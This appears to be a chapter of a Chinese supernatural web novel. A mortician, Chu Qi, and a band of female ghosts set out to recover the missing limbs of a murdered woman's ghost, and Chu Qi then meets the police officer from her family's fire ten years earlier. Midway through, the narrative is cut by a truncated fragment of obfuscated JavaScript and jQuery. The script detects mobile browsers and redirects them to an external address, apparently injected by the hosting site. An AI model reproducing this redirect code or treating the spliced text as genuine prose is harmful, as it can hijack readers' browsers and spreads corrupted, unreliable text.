26. 鬼比人有情有义

    杨汐仅靠半边身体,爬到市区里,人来人往,无人发现她,一只只脚从她身上践踏而过。


    她憋着一股劲,不知是力竭之前到的目的地,还是因为到达目的地才力竭。


    她意识迷迷糊糊之间,觉察到一股视线。


    她睁开眼,是一位老太太,她雍容华贵,高贵优雅。


    富老太太率先发现了她,意识到她情况危急,联系了吊靴鬼。


    乞丐老太太这时插了一句:“原来你是惠姐带回来的,”她面向富老太太,调侃道:“你上次捡个小鬼,被那小鬼倒打一耙害得栽了跟头,不是发誓说再也不多管闲事了吗?”


    富老太太扶了扶金丝框眼睛,抿着嘴,本就薄的两片唇变成了一条线。她脸颊两侧堆起深深的八字纹,苍老松弛的颈部皮肤颤抖,从里面发出不屑的哼声。


    在场只有吊靴鬼知道惠姐的来历,她听到乞丐老太太的打趣,忍不住笑,她看着杨汐,又看向惠姐。语重心长:“惠姐一直就是个面冷心热的······”


    了解在杨汐身上发生的事之后,大家为她感到不平。


    “杨汐,我会想办法帮你找回左手左脚。”楚柒对她保证。


    民国旗袍女学生打岔:“不只是你哦,我也要帮忙。”


    其她鬼纷纷附和,要不然她们为何集中到这,把援助杨汐的事情都推给一个人类去做,那她们荆棘鸟还有什么存在必要。


    女学生觉得还不够,想替她报仇,那家伙最好感到庆幸他还活在人间,女鬼们的手伸不过去。“那个男的在哪里,我就算揍不到他的猪脸,也要去吓死他。”


    杨汐没忍住被逗笑。一众女鬼都展现出对她的关怀,她们本不相识,她是个一无所成的残疾鬼,给不了她们任何好处。她们却对她伸出了手。


    杨汐泛着青紫的嘴角,扬起真心而灿烂的笑,一滴泪顺着脸颊的淤青流到了嘴边。


    杨汐笑容顿住,懵懵地摸自己的脸,居然真的是眼泪。


    她才知原来化作了鬼也是会哭的,她之前爬了一路,被人踩、被狗撒尿都没哭过,她居然这么能忍······


    吊靴鬼的八厘米美甲摸了摸杨汐脑后的头发,头发丝里还粘着点血液和肉渣。


    她们死前什么样,化作的亡魂也大概就是什么样了,她擦不掉那些脏污。


    一样别致的哭腔,此刻却显得低沉:“透过鬼眼看人,发现鬼可比人有情有义多了。”


    富老太太扶了扶眼镜,上眼皮低垂,看着地板,忆起往事,认同地点头。


    这句话,不止杨汐,其他鬼都听进去了,联想起自己的前尘往事,不禁唏嘘。


    吊靴鬼说完这句话,不忘内涵一下楚柒。


    “就像你,不是鬼,但也没有几个真心朋友是人类一样。”


    楚柒:扎心了······


    但楚柒无法否认,她从小到大,确实没交过真心朋友。有过的,也因种种原因离她而去了。


    现在,她能说上话的,除了馆长和师哥师姐们,就只剩下尸体和鬼了。


    某种意义上,她和其他人类的关系是对等的,在竞争着同一片生存空间和资源,利益在前,他们无法深交也是正常。


    况且她还是个与社会格格不入的人。


    而和鬼打交道,她和他们的关系从始至终就不会对等,她走她的人间路,他们闯他们的鬼界洲,互不干涉,与他们相处起来确实能更加肆无忌惮。


    吊靴鬼刚认识楚柒时,她就孤零零一个人,其他人成群结伴上下学,她却没有社交。吊靴鬼观察着,她与他人脱节,不是单方面导致的,她的同学们邻居街坊们因为听信可笑的谣言从而回避她。


    但她自己呢——也对他人建起了厚厚的高墙。别人走不进,她走不出,这是症结所在。


    唯有在他们鬼面前楚柒才会暴露出顽劣和天真的一面。


    “我不需要无用的社交,先不说我的事。我们商量一下怎么找回断肢的计划吧。”


    女鬼们和楚柒协商分头行动,楚柒去杨汐被害的小区搜查,她们则根据李汉高的抛尸路线沿路寻找。


    吊靴鬼这边,由于已经一天没有处理荆棘鸟的事务,暂时离开不能陪同她们一起。


    楚柒和她道别,约好下次再回这里碰头。


    计划制定完,楚柒没有耽误时间,带上渡魂叽出发。


    走前楚柒不忘到楼下蛋糕店,询问店员有没有梨花糕,店员摇摇头,这边人不怎么吃这种糕点。


    楚柒上次在外卖软件上订到的梨花糕的那家店在镇上,她只好先将这件事搁置。


    进入小区,楚柒将渡魂叽放出来。


    渡魂叽憋了一路,终于能活动,一出猫箱,它就活动僵硬的鸡翅膀,扇动空气发出噗嗤噗嗤的响动。


    “你说你上次进那间屋子,就没发现有什么亡魂断肢在,那就有可能是在抛尸的时候连带着其他部位被带走了。”


    至于会掉落在何处——楚柒回顾那条路线,从城西到城东郊外,跨度之大,却只找一条胳膊和一条腿,简直如大海捞针。


    渡魂叽:“更别说,还有一些喜食亡魂的妖孽存在,要是被它们先找到,那就完了。”


    楚柒:“什么妖孽?”


    “就是喜欢吃鬼魂的妖怪。”


    真有这种妖怪吗?她以前怎么没听说过。


    “有,饿死鬼,你听说过吗?”


    楚柒沉默地盯着渡魂叽,迟疑地挑眉:“你认真的?”


    渡魂叽坚定地点鸡脑袋:“虽然我现在连不上天界的网,但我还是清楚地记得鬼怪志的内容的,不要怀疑我的业务能力。”


    “饿死鬼,一般长得黑黑瘦瘦,头发发黄而杂乱,经常怒目露凶光。它们常感饥饿,不知满足。离开人间去到阴间还好,在那能吃上东西。要是留在人间那就惨了,没有东西可吃,他们就会把目光放到其他鬼身上。”


    渡魂叽夹紧鸡翘,同类相食什么的,简直惊悚至极。就像它现在若听到,人类爱吃炸鸡、烤鸡什么的,那会骇死本叽嘞。


    楚柒听它念叨炸鸡,肚子不合时宜地响了一声,她居然感到饿了。


    渡魂叽瞬间警觉,为什么一提炸鸡她就饿了,其心不轨。它鸡脖子阵阵发凉,下意识和这个肉食动物保持距离。


    不过容不得楚柒先去吃午饭了,周万修打电话来。


    “喂,周叔,咋样?”


    楚柒想再去案发房间搜一遍,但那已经被封闭,她只有和警方商量一下获得许可才能进去。


    “我替你问过了,张警官说,他下午两点还要过去一趟,现在已经一点多点,他们应该要到了,你先等着吧。”


    楚柒挂了电话,幸好他们也要过来,这样她可以少耽误点时间。


    不一会儿,张警官到了。他一眼认出楚柒,和她打招呼。“不用客气,叫我张怀辰就行。”


    他身边跟着一个年纪约四十的警察,楚柒一看到那个警察,有些愣神,感到一阵恍惚。


    “师父,这个是柳镇那家殡仪馆的入殓师,叫楚柒。”那老警官是张怀辰的师父。


    35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15169610|163615||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >“咦?”老警官看到楚柒面露疑惑。“好像在哪见过你?”


    楚柒回过神,开口道:“好久不见,杨叔叔。”


    张怀辰没想到楚柒居然认识他师父,他师父确实姓杨,不过看师父疑惑的样子似乎不太想起来她是谁。


    杨警官听到这声杨叔叔,记忆被拉回十年前。他仔细打量楚柒的模样,随即他眼中露出恍然之色。


    “······我记得你,十年前我办过你们家的案子。”


    楚柒点头。是的,十年前他们家被大火烧那天,她被消防员救出来之后,是这位当年还年轻的杨警官背着她去的警局。


    “你那时候好像还在我们那住了好几天。”


    杨警官都想起来了,她是个可怜的孩子,一场大火,夺走了她父母的性命,而且他们联系不上她的任何一个亲戚,那一场大火之后,可以说,她只剩下自己一个人。


    后来他们把她送去社区儿童福利中心,就再没见过面。


    一晃十年之久,没想到小姑娘健健康康地长大了,确实是变了个模样,但眉眼没变,充满灵气。


    他忆起曾经。


    他们当警察的,见过形形色色的悲剧,他每带一个徒弟,都会安慰他们:我们能做的,就是尽好本职,有时再怎么努力也改变不了结果,但我们在办案的过程中的努力和付出都是值得的,就算结果不尽人意,也是成长的一部分。


    年轻时,他经常陷入自责和迷惘。为什么案发前他不能早到一步,为什么他不能阻止惨案发生。


    那年的那场火灾,是在他调职到这个区后接手的第一个案子,小女孩告诉他:他们家是被人点火烧的。


    他没由来的相信她。他向她保证,一定抓出纵火犯,为她父母报仇。


    然而现实是······根本查不出什么人为故意纵火的迹象,所有证据都在表明,这只是一场煤气罐老化泄露所致的火灾。


    他想起小女孩的目光,不肯放弃调查,接着他去走访了周边邻居。


    却听到令人意外的话,比如说这个女孩是天生扫把星,命犯孤星,说她小时候经常无缘无故大哭,精神有些不正常,从小就经常惹祸之类的话。


    他难以置信,在他们那住了几天的小姑娘,看着就是正常的小孩,乖巧听话也很懂事,家中遭难也没有大哭大闹······


    毫无收获,案子拖得时间过久,同事们都劝他放弃找那个所谓的真相,小孩才十岁,童言无忌,只有他当真。


    总之,那起案子最终还是定性为了意外事故。小姑娘被送去福利机构之后,便在他的人生中翻了篇。


    “······走吧,我们上楼再说。”


    楚柒没有一丝一毫想提起过去的意思,杨警官亦是。


    张怀辰拆开黄色封条,打开了案发出租屋的门。


    案发之后,凶手做贼心虚,一直门窗紧闭,导致那股血腥糜烂的味道充斥着整个房间,久久无法散去。


    楚柒鼻子灵,但已经习惯了这种味道,没有太大的波澜。


    张怀辰入行几年,归来还是个菜鸟,忍不住犯生理上的恶心,他无助地捂住口鼻,被恶心得眼角泛红。


    他悄悄观察淡定的楚柒和师父,心生佩服,看来和尸体多打打交道,是能磨炼精神和身体承受能力的。


    楚柒套上手套和脚套,认真地开始检查起来,她把出租屋搜了一圈,一个犄角旮旯都没放过,没有杨汐的残余肢体。


    她只觉头疼,看来必须下海捞针了。


    ······